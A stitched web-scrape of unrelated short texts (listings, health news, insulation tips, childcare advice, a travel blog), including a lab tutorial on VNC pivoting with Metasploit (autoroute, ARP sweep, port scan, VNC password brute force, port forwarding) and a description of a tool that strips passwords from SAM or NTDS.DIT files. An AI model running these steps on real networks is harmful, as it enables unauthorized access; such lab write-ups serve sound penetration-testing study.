The data to the right shines a light on several companies where biochemistry graduates have started their careers after receiving their diploma. These companies have historically been some of the most common employers for biochemistry majors.
Where have biochemistry majors settled in after graduating?
Graduates tend to find jobs in cities like New York, New York, Boston, Massachusetts and Los Angeles, California. Combined, these cities have accommodated many biochemistry professionals.


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Welcome to Owen Mills Estates! The beautiful Steppelton model is waiting for your customization. An open floor plan and concept makes for a great entertainment space. With a spacious Living room & Dining room combination, complete with a gourmet kitchen in the rear. The kitchen is fitted for a chef with: Granite counter tops, Custom "soft-close" Cabinetry, and a modestly sized peninsula/island (complete with bar-stool overhang). Flooring, Textures, Materials, and overall finishes are up to you! Around the corner from the kitchen is a Mud/Laundry Room, Large Master Suite, as well as a rear exit to the covered porch. Two additional bedrooms are located on either side of the second full bath, just left of the great room. A six-camera security system also conveys with the sale of this home; not to mention a 10 year structural warranty! This up and coming community is too good to miss.
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The expert panel that evaluates cancer risks today said that cell phones might possibly cause brain cancer.
The announcement comes from the International Agency for Research on Cancer (IARC). Like the World Health Organization, the American Cancer Society relies on IARC for evaluation of cancer risks.
"After reviewing all the evidence available, the IARC working group classified radiofrequency electromagnetic fields as possibly carcinogenic to humans," panel chairman Jonathan Samet, MD, chair of preventive medicine at the USC Keck School of Medicine, said at a news teleconference. "We reached this conclusion based on a review of human evidence showing increased risk of glioma, a malignant type of brain cancer, in association with wireless phone use."
In finding cell phones to be "possibly carcinogenic," the IARC means that heavy cell phone use might — or might not — cause a specific form of brain cancer called glioma. The finding means that research is urgently needed to find out whether cell phones actually cause cancer, and how they might do it.
The IARC estimates that some 5 billion people worldwide have mobile phones. Lifetime exposure to the magnetic fields created by the phones — particularly when they are held tightly against the head — rapidly is increasing
Children are at particular risk, not only because their skulls are thinner but also because their lifetime exposure to cell phones likely will be greater than the exposure of current adults.
Putting Possible Cancer Risk in Perspective
It's important to put the possible risk into context. Kurt Straif, MD, PhD, MPH, head of the IARC Monographs Program, notes that the IARC currently lists some 240 agents as "possibly carcinogenic," including dry cleaning fluid and some commonly used pesticides.
While the IARC doesn't make recommendations to consumers, Straif noted that there are precautions people can take.
"Some of the highest exposures come from using mobile phones for voice calls. If you text, or use hands-free devices, you lower exposure by at least [10-fold]," Straif said at the news conference. "So this is left to consumers to consider whether this level of evidence is enough for them to take such precautions."
Otis W. Brawley, MD, chief medical officer for the American Cancer Society, notes that the IARC is a highly credible group. But Brawley echoes Straif's advice: People who are worried can reduce their risk.
"On the other hand, if someone is of the opinion that the absence of strong scientific evidence on the harms of cell phone use is reassuring, they may take different actions, and it would be hard to criticize that," Brawley says in a news release.
John Walls, vice president for public affairs at CTIA, the trade group representing the wireless communications industry, notes that the IARC findings do not mean cell phones cause cancer — and that the limited evidence on which the findings are based are far from conclusive.
"Based on previous assessments of the scientific evidence, the Federal Communications Commission has concluded that '[t]here's no scientific evidence that proves that wireless phone usage can lead to cancer.' The Food and Drug Administration has also stated that '[t]he weight of scientific evidence has not linked cell phones with any health problems,'" Walls notes in a news release.
Samet and colleagues will publish a summary of their findings in the July 1 issue of The Lancet, which is still in press.


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- City or Town:Canyon
- Zip Code:79015
- Phone Number:806-655-8880806-655-8880
Amarillo National Bank Canyon branch is one of the 14 offices of the bank and has been serving the financial needs of their customers in Canyon, Randall county, Texas for over 5 years. Canyon office is located at 1700 4th Avenue, Canyon. You can also contact the bank by calling the branch phone number at 806-655-8880
Amarillo National Bank Canyon branch operates as a full service brick and mortar office. For lobby hours, drive-up hours and online banking services please visit the official website of the bank at www.anb.com. You can edit branch details by clicking here if you believe the information is incomplete, incorrect, out of date or misleading.
- ■ Monday:09:00 - 17:00
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Amarillo National Bank Canyon is open Monday to Saturday and closed on Sundays. The branch opens at 09:00 in the morning. Working hours for Canyon branch are listed on the table above. Note that this data is based on regular opening and closing hours of Amarillo National Bank and may also be subject to changes. Please call the branch at 806-655-8880 to verify hours before visiting.
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Summers are very hot in many areas, specially in India. In India summers are very hot. Due to this heat the indoors of any building become very hot and sometimes humid as well. Here are 8 great ideas to keep your building cool and thermally insulated.
Summers are wonderful but the heat is not that pleasant, specially in areas where the temperatures are too high. There are many options to keep your indoors cool by way of Air Conditioning, Air Cooling etc. But we cannot stop the transmission of heat. If we can restrict the transmission of heat from outside to our indoors, these cooling devices will be more effective and less costly to use. Hence here are the great ideas to keep your building cool and thermally insulated.
The process of restricting the heat (temperature) from transmitting is called thermal insulation. With the increase in temperature in summers, protecting the living spaces from summer heat is the major problem.
The heat of the sun gradually transmits our living spaces through the walls and RCC Roof, Tin Shades or any other modern day home, office or factory. In olden days the houses were made in such a way to minimize the heat transmission using natural products. With the use of modern products thermal insulation is a major issue.
Thermal insulation can be done during construction itself. We are not covering this area in this article.
We will be covering the challenge of thermal insulation in existing buildings. Here we are giving the name and introduction of few products which can be used for Thermal Insulation or in other words, minimizing the transmission of heat in any place. The first and foremost is the air. If you give a gap with air in between any two surfaces it is a wonderful insulation.
Now let us see the different products available which can work as a barrier to transmission of heat.
Different Products available for Thermal Insulation:
1. Glass Wool/Rock Wool.
This product range is a very good temperature insulator. This is also a good sound insulator as well. The product comes in shape of fibers. Lately this product is now available fully covered from all sides. There are some health hazard issues in this product. The open rock wool or glass wool has lot of harmful fibers which can easily fly in air thus leading to harmful affect to health. Every precaution should be taken to cover this material before using. If this issue is taken care of this can be a very good product for checking the transfer of temperature (be it hot or cold).
This is the first of the 8 great ideas to keep your building cool and thermally insulated.
You can install this insulation under the ceiling and then cover the area with false ceiling. Similarly, you can insulate the walls using them and then flushing the wall with secondary wall paneling.
2. Mineral Fiber Tiles.
The mineral fiber tiles are also used for heat insulation, but this product is mainly useful in sound insulation and aesthetics. We do not recommend this product for the purpose of heat or temperature insulation. Of course this product can be used with other insulating products for better and perfect effect. However, for controlling normal issues this product can be a very easy and effective solution. We suggest using Glass Wool, EPS, and XPS before covering the place with the false ceiling of Mineral Fiber Tiles. We have to first put glass wool, rock wool, EPS or XPS Sheets under the RCC or any other ceiling. The installed insulator can be covered with Mineral Fiber Ceiling Tiles. Mineral Fiber Tiles will finish the surface but the work of insulating the heat will be done by other components like rock wool, glass wool, EPS and XPS etc.
This is the second of the 8 great ideas to keep your building cool and thermally insulated.
3. Calcium Silicate False Ceiling Tile and Board.
Calcium Silicate Board is a good product which is fire proof and a good thermal insulator. This product can used to create dry walls. The Calcium Silicate Boards can work as a very good thermal insulator again if used with some additional insulating material or without.
Normally, the maximum heat is transferred from the roof. If the roof is treated nicely major issue of heat transfer can be treated. Calcium Silicate False Ceiling Tiles is a wonderful solution to this. The Calcium Silicate False Ceiling Tiles is a wonderful product with wonderful features like light weight, 100% RH (Relative Humidity), in other words the tiles are 100% water resistant, non combustible, fungus, termite and bacteria proof. The thermal conductivity of these false ceiling tiles is 0.043. Due to this figure of excellent thermal conductivity, these tiles perform wonderfully in locations where we have to control the heat transfer in any building.
The leading brands who can supply you this product are Aerolite and Armstrong. If you have a tin shade or even RCC roof, false ceiling of Calcium Silicate Tiles can give you relief from the heat transfer which will save on your cooling cost.
This was the third of the 8 great ideas to keep your building cool and thermally insulated.
4. EPS (Expanded Polystyrene Sheet).
EPS is also called thermocol. Thermocol sheet is a very good heat insulator. EPS is made by bonding the EPS balls. This is a common product and almost everyone is aware of this product. The product is very light weight and density of the product can go upto a certain extent only. The product has limited life. But this product is a very good temperature insulator. A reasonably thick sheet can work as a wonderful barrier to any thermal transmission. This product can be used under the false ceiling to enhance the thermal rejection (heat rejection) in any structure. But I personally would not recommend using this product as effectiveness and life of this product is not very impressive.
This is the Fourth of the 8 great ideas to keep your building cool and thermally insulated.
5. XPS (Extruded Polystyrene Sheets).
This is the improved version of EPS. XPS in comparison to EPS (Thermocol Sheet) is a stronger and better product. It is a block type material made up of polystyrene. The product is very strong, has very little water absorption and is a wonderful thermal insulator. To the best of my knowledge, this is the best product which can be used in construction stage available in thermal insulation as on date. This products performs quiet good if used during initial construction stage. The XPS sheet can be sandwiched between two brick walls, which will give you excellent thermal insulation.
XPS can reduce the indoor temperature by almost more than 6 to 8 degree centigrade. Also it can delay the increase in indoor temperature in summers. In areas where evening or night temperatures are cold this product can do wonders, as by the time the heat transmits the outdoor temperature will start to decline.
This is the fifth of the 8 great ideas to keep your building cool and thermally insulated.
6. Mgo Boards – Magnesium Board.
Next in the list comes the latest enterant – Mgo Board or Mangnesium Board. Magnesium Board is very strong board and has thermal conductivity almost equal to Calcium Silicate Tiles. This board can be easily used in outdoors as well. Mgo Boards is a very good product in pre fab structure buildings. To explain this, you can create a structure of iron on your top floor or any where else and the walls of that metal structure can be covered with Mgo Boards. You can put the Mgo board in outside as well as inner walls and finish the interiors with the help of Mgo board. The outer wall of Mgo board can be painted as usual. The indoor walls of Mgo board can be finished in various ways like – Wall Paper, PVC Lamination, Install Tiles on Mgo Board. You can install almost anything on the walls of Mgo Board. Windows can be created in the metal structure and finished and installed. You can also create dry walls of Mgo Board which are very strong, thermally insulated and also can be made sound proof by adding glass wool, rock wool, EPS or Xps in between.
This is the sixth of the 8 great ideas to keep your building cool and thermally insulated.
7. Weather Coat or heat reduction paint on roof and outer walls.
Suppose we have an existing building and we cannot do much with the structure. We can reduce the the temperature of the building by around 6 to 8 degree centigrade simply by painting the roof top and sun facing walls from outside. This paint will work as a barrier to easy transfer of heat to the indoors through roof and walls. The colour of this paint is generally white which will reflect the UV rays and heat. The coat of the paint will not allow free transfer to heat to indoors.
This is the seventh of the 8 great ideas to keep your building cool and thermally insulated.
8. Hanging of Agro Net or Green Net.
In the case that you want some temporary solution to heat, the easiest thing is to hand Agro Net or Green net on the walls facing the maximum sun light. Similarly you can mount the green net over your roof. The green net will work as a barrier between the hot sun light and your roof top. This can reduce the indoor temperature substantially.
This is the eighth of the 8 great ideas to keep your building cool and thermally insulated.
I am sure you must have found some useful inputs in this article. You may be having more inputs to this. Please leave your input in the comments below.
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Unlike other commercialised budget hotels in Dwarka, Sargam Residency endevours to provide you all the comforts of a hotel in a unique personal home stay experience –
Budget Hotel in Dwarka, New Delhi
Luxury Deluxe Rooms
Air Conditioning & Heating
Lunch & Dinner
24 Hour Hot and Cold Water
Fresh Linen
High Speed Internet
TV with 24 hour Cable Connection
Wardrobes in Rooms
Alarm Clock
Laundry Facility
Meals on request
Airport Transfer Facility
Car/Taxi Rental Service Available
24 Hour Power Backup
24 Hour Security – Safe for Women
On Site Staff
Free Room Service
Daily Housekeeping / Cleaning Service
Books, Magazines, Games, Movies on Request
Medical Assistance on call
Baby Sitter on Request
Daily Newspaper
Iron / Ironing
Safe For Women & Children
No Drunked Is Allowed
Kitchen Facility with all equipments like microwave, refrigrator etc is available
Guest allowed to cook
Sargam Residency can also provide some more extra services like Medicine kits, Ironing and Daily newspaper on customer demand.
Family of Owner is staying in same building. Hence very much safe secure for women & children.


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Expert tips by Jan Jones (Early Childhood Educator)
Make sure you match your family's needs and expectations with the care and education provided at a centre. Selecting a suitable option is central to the whole family's well-being. When choosing a centre for your child you have a right and responsibility to find out as much as you can about the quality of the services it provides.
Each state and territory in Australia has different rules governing care and education of children outside of their family, so I am writing a general overview of the choices available to families. The Australian Federal Government has implemented a national accreditation system that oversees the quality of care of child care centres plus family day care and is currently being introduced into kindergarten/preschool programs. This quality assessment assures that minimum standards are being met but it is up to each parent to choose the most appropriate setting for their situation.
If you are dissatisfied with the quality of care or education provided, talk firstly to the child's primary staff member (kindergarten teacher, family day carer or child care staff member). If the issue is not resolved, make arrangements to speak to a more senior staff member or move to another venue. For serious concerns about the quality of either the care or education contact the regional office of the responsible state/territory government department.
Care for children can be provided by relatives, friends, family day care, occasional care or long day care in a child care centre. This is available from birth up to school age and in many cases also for school-aged children as before- or after-school care, and vacation care. In this article, I am only considering care in family day care, occasional care and long day care but the issues covered will usually also be applicable to care provided by friends or relatives.
All care of children obviously also adds to the child's education but settings such as kindergartens (also known as preschools) are specifically designed to foster the child's education. Kindergarten may be provided in a community-based setting, in a primary school or as a specific program in a child care centre in the year before a child starts compulsory schooling. Some services offer kindergarten programs for three-year-old children and choice of these are very similar to choice of child care programs.
Quality children's services are those that provide valuable learning experiences with positive outcomes for children while catering for the child's individual needs. Visiting a service is the best way to check for quality. It gives you the chance to see the service, observe the staff and children and to ask questions.
Questions you may want to ask the staff:
- How does the program meet the different needs, interests and experiences of all the children?
- How many children are in the group that my child would join and how many staff work with that group?
- What qualifications do the staff have?
- Will the same staff consistently work with my child?
- How will my child be settled into the service?
- What happens if my child becomes unwell, upset or unsettled?
- Am I welcome to visit at any time of day?
- How will any concerns about my child's care be addressed?
What to look for when you visit a service?
- Do staff interact positively with children, other staff and parents?
- Do they make you and your child feel welcome?
- Is this a safe environment for children to play, learn and develop?
- If your child has additional needs, how will the service meet them?
- Are the children well-supervised at all times in a way that suits their age and development?
- Are children engaged in the learning experiences?
- Are the children well settled?
- Are there opportunities for children to play in groups or alone?
- Are there spaces for children to be involved in active, noisy play as well as space for quiet play both inside and outside?
What to do before your child starts child care or kindergarten:
- Visit the centre and talk with the staff.
- Read the website of the centre or kindergarten if they have one.
- Share your concerns, thoughts and ideas about your child openly with the staff before and after your child begins attending.
- Find out what your child will need to bring.
- Put your child's name on all belongings and clothing.
- Provide the centre with necessary requested information.
Occasional child care
Services are provided in a range of settings including neighbourhood/community houses and sports and leisure centres for short periods. Families can access occasional care regularly or just when needed.
Long day care/creche
Care is provided mainly for children aged between birth and six years, although some services provide care for limited numbers of primary school-age children before and after school and during school holidays. Long day care services can be run by not-for-profit organisations or as private businesses. Many services offer a funded kindergarten program as well as care of the child.
Family day care/ home-based care
A family day care service is a network of carers who provide care or education in their own homes for other people's children. This type of care may be available overnight or on weekends for families who are on-call or work shifts.
Kindergartens help children to learn skills they will build on throughout life and that will strengthen their enthusiasm for learning. These include social and emotional skills which are very important in preparing a child to take their part in more formalised learning in a school setting.
Many kindergartens promote their learning programs as being based on a certain philosophy but the degree to which they follow this philosophy varies enormously between each service and the skill of the staff. Some of the philosophies you may see promoted are Steiner, Montessori or Reggio Emilia. Use of these titles does not give you a very good idea of what is being offered so it is critical that you visit any centre in which you are interested to see just what happens in that venue. The philosophies mentioned above have all been imported from elsewhere and dramatically altered with each interpretation, so consistency within each is rarely encountered. Each group of children is different and their interactions with staff vary, so you can only really base any decision about where your child will attend based on centre-visits, recommendations from others and the requirements of your family.
Good luck with your choice.
What influenced your decision about the type or place of care for your child?


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The Dauphin County Commissioners and Friends of Fort Hunter were here to promote their annual BrewFest at beautiful Fort Hunter Park in Harrisburg this Saturday from 3 – 7 pm.
"This year, we have over 40 different beers to try during the event include fan favorites such as Troegs, Appalachian Brewing Company, Boneshire Brew Works, Brewery at Hershey and more!" tells Michelle Hornberger.
"When you come to the event, you receive a tasting glass as well as a booklet on the beers that are being poured so you can keep notes on your favorites throughout the event. It's always fun to find unique flavors that you think you won't like but then are pleasantly surprised by!"
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VNC Pivoting through Meterpreter
In privous article we had describe VNC peneration testing and VNC tunneling through SSH but today we are going to demonstrate VNC pivoting.
From Offensive Security
Pivoting is technique to get inside an unreachable network with help of pivot (centre point). In simple words it is an attack through which attacker can exploit those system which belongs to different network. For this attack, the attacker needs to exploit the main server that helps the attacker to add himself inside its local network and then attacker will able to target the client system for attack.
Lab Setup requirement:
Attacker machine: Kali Linux
Pivot Machine: ubuntu operating system with two network interface
Target Machine: ubuntu (Allow VNC service)
Exploit pivot machine
Generate payload using msfvenom start multi/handler to hack the pivot machine (ubuntu) read complete article from here and bypass its UAC to achieve admin privileges.
From given image you can confirm that I owned pivot machine (192.168.1.226) meterpreter session.
Check network interface through following command:
Meterpreter> ifconfig
From given image you can observe two networks interface in pivot's system 1st for IP 192.168.1.226 through which attacker is connected and 2nd for IP 10.0.0.1 through which VNC server (targets) are connected.
Route Add
Since attacker belongs to 192.168.1.1 interface and client belongs to 10.0.0.0interface therefore it is not possible to directly make attack on client network until unless the attacker acquires same network connection. In order to achieve 10.0.0.0 network attacker need run the post exploitation "autoroute".
use post/multi/manage/autoroute
msf post(autoroute) > set session 3
msf post(autoroute) > exploit
ARP Sweep to identify Active host
This module will enumerate alive Hosts in local network using ARP requests. Take help from target network interface 3 as shown above for MAC address and other details.
use auxiliary/scanner/discovery/arp_sweep
msf auxiliary(arp_sweep) >set rhost 10.0.0.1-254
msf auxiliary(arp_sweep) >set shost
msf auxiliary(arp_sweep) >set smac 00:0c:29:bf:43:94
msf auxiliary(arp_sweep) >run
Here we found a new host IP 10.0.0.20 as shown in given image. Let's perform TCP port scan for activated services on this machine.
TCP Port Scan post exploit
This module will enumerate open TCP port of target system.
use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > set rhosts 10.0.0.20
msf auxiliary(tcp) > set thread 10
msf auxiliary(tcp) >exploit
From given you can observe port 5900 is open and we know that 5900 used for VNC services.
VNC brute force attack
In order to steal password for making unauthorized access in VNC machine apply Brute force attack using password dictionary in given below exploit.
use auxiliary/scanner/vnc/vnc_login
msf auxiliary(vnc_login) >set rhosts 10.0.0.20
msf auxiliary(vnc_login) >set pass_file /root/Desktop/pass.txt
msf auxiliary(vnc_login) > run
Awesome!! From given below image you can observe the same password: 123456 have been found by metasploit.
VNC Port forwarding on Local port
Now Type following command for port forwarding on localhost.
Meterpreter> portfwd add –l 6000 –p 5900 –r 10.0.0.20
-l: This is a local port to listen on.
-p: The remote port to connect on.
-r: The remote host address to connect on.
Now open the terminal and type following command to connect target machine:
vncviewer 127.0.0.1:6000
Wonderful!! We had successfully exploit VNC client by making unauthorized access.
Author: Sanjeet Kumar is a Information Security Analyst | Pentester | Researcher Contact Here
Source: www.hackingarticles.in


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Globalink Armenia scooped Lufthansa Cargo "Best Sales Agent 2015" title.
Dec 28, 2015
We are honored and delighted to announce the recognition of Globalink Armenia as the "Best Sales Agent 2015" by Lufthansa Cargo. Rajiv Nagri, Branch General Manager, Globalink Armenia, received the certificate on behalf of his colleagues: "I'm proud of what the Globalink Armenia team has achieved over the last twelve months and thank those who were involved in the air freight business development".
Globalink Logistics Group is cooperating with Lufthansa Cargo in the CIS and Central Asia for 20 years. We truly feel rewarded by this encouragement not only in Armenia, but several stations in the CIS and Central Asia, where world-class carriers such as Lufthansa has recognized us as a valuable partner. Thank you Globalink Armenia team for a perfect New Year gift.


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In spite of their "greenness", lawns can be huge burdens on the environment. During summer try watering and mowing your lawn less often. You will conserve water, release fewer greenhouse gases, and save money.
Reduce your commuting carbon footprint and save money!
Harvard offers a 50% discount on all monthly MBTA transit passes for employees and pre-tax savings on private transit providers such as Amtrak, regional transit authorities, and private bus companies.
Here are some tips on making your holiday season more sustainable from Harvard University Housing.
A Green Tip from Harvard Law School energy manager Eric Potkin
Harvard School of Public Health study links regular red meat consumption to higher mortality.
Carry a travel mug to get discounts at all Harvard University Dining Halls and most other cafés.
Did you know eating sustainably for your own health and the health of the planet is a key tenant of mindful eating?
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Quit Smoking Guidelines during Pregnancy
While signing the Tobacco Control Act into decree a year back, U.S. President Barack Obama accentuated the significance of quitting smoking among the populaces. Smoking has been proven to result in over 400000 fatalities every year in the U.S. due to cancers, emphysema and several respiration-related ailments, heart disease and unprompted abortion, stillbirth or miscarriage cases among pregnant women. In the U.S., there is a heightened risk of preterm delivery in the foetuses of expectant mothers in case the mom is a smoker.
Other horrendous effects of smoking during pregnancy include:
- Lowered oxygen levels obtainable to the growing fetus as well as the mother.
- Rise in the fetal heart rate.
- Low birth weight babies.
- Fetal development retardation.
- Greater likelihood of the baby suffering from lung conditions or respiratory issues.
Greater the number of cigarettes smoked daily, higher the risks of the baby developing several health conditions. There is nothing called as a 'safe-level' in smoking during pregnancy.
Above a thousand babies die yearly due to maternal smoking. For tackling this problem, the United States Preventive Services Task Force has been proactively assessing the intercessions apt to thwarting tobacco usage and tobacco-associated ailments among adults and particularly in expectant mothers. The outcomes of their suggestions were printed in the journal 'Annals of Internal Medicine'. The U.S. task force assessed all earlier periodicals about quitting smoking and has ascertained what the benchmark of care in the U.S. is.
These suggestions could be discussed with one' doctor to ascertain that in case you or a kin member is a smoker, one could inculcate the most crucial constituents of these suggestions to assure all likely assistance is being belted out.
The U.S. task force recommended that the most vital assistance for a person is to get counselled. Such form of counselling comprises of 5 stages:
- The doctor must enquire from the person regarding his/her usage of tobacco and the person must tell the doctor that he/she smokes.
- One must get a clear signal from the doctor advising smoke cessation.
- One must show readiness to quit smoking.
- The doctor and the doctor's clinic must edify the person on the manner in which they would be assisting him/her is ceasing smoking addiction.
- The medical facility must ascertain that follow-ups are arranged for the person to ascertain that he/she has in fact halted or lessened smoking. Scheduling of continual backing and follow-ups would be necessary.
Moreover, in case an individual is not pregnant, then supplementary smoking intercessions alongside counselling are vital and increasingly effectual in comparison to stand-along counselling or drugs. Drugs comprise of nicotine gums, inhaler, patch; antidepressant drugs like bupropion and smoking-drive reducing agents like varenicline.
But, in case a female is carrying a baby, usage of such drugs might be dubious. The U.S. task force has suggested for expectant moms, irrespective of age, to be counselled by a doctor, however failed to locate sufficient researches for ascertaining the safety of medicines during gestational period. Hence, expectant mothers who engage in smoking especially require more exhaustive counselling by the doctor and greater backing by kin members.
The website http://www.acog.org/ of the American College of Obstetrics and Gynecology has indicated benchmarks for obstetricians & gynaecologists.
In case a woman is expecting a baby, quitting smoking is vital to lower threat to her growing fetus. Not just ceasing smoking herself, she must not have exposure to surrounding tobacco smoke or second-hand smoke. Hence, such women require taking every possible step with their obstetrician for reducing smoking.
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European Union is facing its most dangerous crisis since its foundation. An antidote is represented by experiences shaping the Union as a community of people, with same rights and responsibilities.
A combination of youth exchanges, initiatives, volunteering & training actions is then a unique chance to involve youth and stakeholders in the EU objectives.
We detected this potential in the impact of our activities on personal and social dimensions, being aligned with the Paris Declaration: "…the primary purpose of education is not only to develop knowledge, skills, competences and attitudes… but also to help young people to become active, responsible, open-minded members of society", and in the Europe 2020 strategy, where the inclusive growth objectives address youth education and the risk of social exclusion.
In times of unequal economic growth the integration of learning opportunities is urgent. The EU 2020 stresses for more adaptable learning pathways and sees the validation of non-formal and informal learning as a prerequisite for the fulfillment of the agreed social targets: 20 millions fewer people in or at risk of poverty and social exclusion, 75% of the 20-64 should be employed, reduction of school drop-out below 10%.
Thus the network activities and its methods have an educational added value, more and more recognized: if the benefits for one's personal growth and self-esteem is granted, it is also getting clearer how to support youth when bringing their experiential capital in next life and career steps. This led the network members to better represent the impact of their projects in lives and careers. The network promotes the recognition of volunteering as a terrific tool for one's education. Informality dimension has been tackled recently with analysis and studies that show recurrences of learning elements in specific frameworks, showing that alternative methodologies are valid when assessing homogeneous informal experiences. Evidence based data and piloting collaborations with schools succeded to support the EU programmes and priorities, answering the needs of a knowledge society.
We boost non formal education and intercultural learning in solidarity actions for youth empowerment and social cohesion. This approach reflects also the political objectives of a stronger participation of all young people in the democratic and civic life, that require a massive involvement into civil society and public services, actions and solidarity initiatives, still far to be enough.
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A helpful plug-in for removing and modifying passwords directly in the SAM registry file or in NTDS.DIT. For example, to regain access to a locked system, you do not necessarily have to recover the Windows logon password. Instead, you can just copy the SAM and SYSTEM registry files from the unbootable system, use this plug-in to remove the password for the account (or clear the lockup flag) and copy the files back. The password remover plug-in is made out as a wizard and consists of 4 steps:
1. On the first step, select the password source. That could be either a SAM file — for the regular accounts — or NTDS.DIT — for removing passwords in a domain.
2. On the second step of the wizard, specify the path to the SAM/NTDS.DIT file and to the SYSTEM registry file. By default, NTDS.DIT is located in c:\windows\ntds. Registry files reside in C:\windows\system32\config.
3. On this step, we need to select the account we need to modify the password for. Select the username and move on to the final step.
4. The 'New password' field is made for the new password (leave it blank to just remove the password). If this field is disabled, it means that the password for that account is already empty.


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Appearances to the contrary, your author/photographer has not been in Australia for the last two months. He has been back at the old family house in Nova Scotia, Canada. I have written most of the posts about the central Australia adventure during our sojourn here. While I escaped the heat of an Australian summer, I have not been so lucky with the cold. Fall and winter in the Maritime provinces of Canada offer every kind of weather under the sun, warm and balmy one day, chilly the next, snow followed by rain followed by snow followed by freeing rain. It is the wind that matters most.
The night before last a storm came through from the Northeast that triggered a memory of the one day while we were living in Montreal when traffic actually came to a halt. It was called the storm of the century, but that was back in the nineties before the weather gods turned into terrorists. The city was over budget for snow removal, so they simply left in the streets until Monday morning. On that memorable Sunday, traffic came to a halt. We could have cross-country skied or snow-shooed to the city centre.
The doorbell rang and we looked at each other, astonished. It was our friend, Eric. He had skied from his home, a few kilometres to the west of us, up the mountain for which the city is named. He did a tour around the top and was stopping off for a visit on his way home. He put down a backpack and we heard a little yelp. It was his new Golden Retriever puppy, along for the ride. He popped his head out, ready to melt hearts.
A more recent memory of a vicious winter wind takes me to the Alpine region of Australia, in between Melbourne and Sydney. I will never forget heading out for a snow camping adventure in a blistering blizzard. I have written it up in this blog. It is another four parter, if memory serves me well.
"Even with goggles, I could barely see the person in front of me. When it looked like I might get left behind and disappear in the storm, the friend who roped me into this adventure suggested I lead the group for awhile. I promptly put my foot wrong, plunging my ski through a snow drift and into water. We had just crossed a bridge over a reservoir, and I had missed the path."
The snowplow had not yet made an appearance and it was already past nine when we started out on our morning walk in a bellowing wind yesterday. It was a Sunday and the storm had arrived around midnight. Our daily walk here in Grand Pre usually takes us about forty-five minutes. We head out the door and turn left, usually, but it depends on the wind direction. If we have the time we'll head up Mitchell Hill and down again, turn right at the Sangster property and head down to the dyke road. That leads us behind the Grand Pre Historic Site, with its recreation of a church dedicated to telling the story of the Acadian expulsion.
There are often a number of bald eagles perched in a towering line of trees extending out from the Park. A few of them take flight when we pass, either spooked by our presence or checking us out as possible snacks. They make a high-pitched chatter, sounding like smaller birds. Occasionally, we'll flush a pheasant from the underbrush. They can fly right past you, making a heart-stopping racket.
After we cross Grand Pre Road we're really out on the dyke land, fully exposed to the wind. When it comes from the Northeast, there is nothing to stop it but our bodies. Sometimes it does the psyche good to throw your body out there, get a sense of the elements that never quite reach you in the city the way they do here. To really see the bright winter stars, to shovel great buckets of snow, to feel frozen and grateful for the sacrificial geese whose feathers made your coat. That is what winter is all about.


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